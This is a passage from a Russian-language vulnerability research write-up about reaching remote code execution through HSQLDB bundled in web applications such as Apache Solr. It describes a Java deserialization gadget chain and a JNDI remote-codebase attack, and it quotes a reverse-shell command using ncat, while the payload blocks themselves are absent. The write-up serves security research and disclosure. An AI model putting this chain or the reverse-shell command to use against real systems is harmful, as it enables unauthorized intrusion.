Поскольку в то время я занимался репортами и исследованием уязвимостей в Apache SOLR, я вспомнил, что в их примере JDBC Stream используется HSQL, и приступил к настройке тестового окружения.

Примечание: К сожалению, эта уязвимость не затрагивает стандартные серверы Apache Solr, поскольку JAR-файл HSQL должен быть специально помещён в папку “./server/solr-webapp/webapp/WEB-INF/lib/”, чтобы драйвер был доступен компоненту Stream JDBC.

RCE через Java-десериализацию

Поскольку RCE в F5 использует функцию "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext", расположенную в "tmui.jar" (JAR-файл, специфичный для приложений F5), и я хотел создать payload, не зависящий от приложения, я начал искать, как можно скомбинировать часто используемые JAR-файлы (например, Apache Commons Collections, Apache Log4J) для вызова статических функций и получения RCE.

Поскольку gadgets CommonsCollections* из ysoserial первыми пришли мне на ум, я пошёл по пути Java-десериализации со следующими результатами:

• Вызовите java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true'), чтобы включить небезопасную десериализацию (Зачем обходить защиту, если можно полностью убрать предохранитель :)) )
• Используйте public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) в качестве приёмника (sink) для наших входных данных, чтобы они достигли функции ObjectInputStream(x).readObject().
• Используйте функции public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) или public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s), чтобы преобразовать закодированную строку payload ysoserial в массив байтов, который будет передан в deserialize(byte[] objectData).

Полный HSQL payload имеет следующий вид:

Примечание: В данном случае payload ysoserial относится к типу CommonsCollection6 и выполнит команду reverse shell ncat -e /bin/bash 127.1 4444.

Примечание 2: Автономный HSQLDB.jar не уязвим к этому payload, поскольку он не содержит JAR-файл Apache Commons Collections. Эта уязвимость работает (в большинстве случаев), когда HSQL включён в веб-приложение (например, SOLR, Liferay и т.д.).

Более подробная информация и процесс эксплуатации приведены в этом PDF.

RCE через атаку на удалённую кодовую базу по LDAP или RMI

Изучая эту тему в 2023 году, я наткнулся на эту потрясающую презентацию Exploring JNDI Attacks от iSafeBlue, в которой использовался java.lang.System.setProperty для установки com.sun.jndi.ldap.object.trustURLCodebase или com.sun.jndi.rmi.object.trustURLCodebase в true, после чего выполнялся LDAP/RMI-lookup для успешного проведения атаки Java Remote Codebase.

Пример HSQL payload:

Результат:

Примечание: По неизвестным причинам эта уязвимость работает на стандартном HSQLDB.jar, но не работает в окружении HSQL + Apache SOLR ¯\_(ツ)_/¯.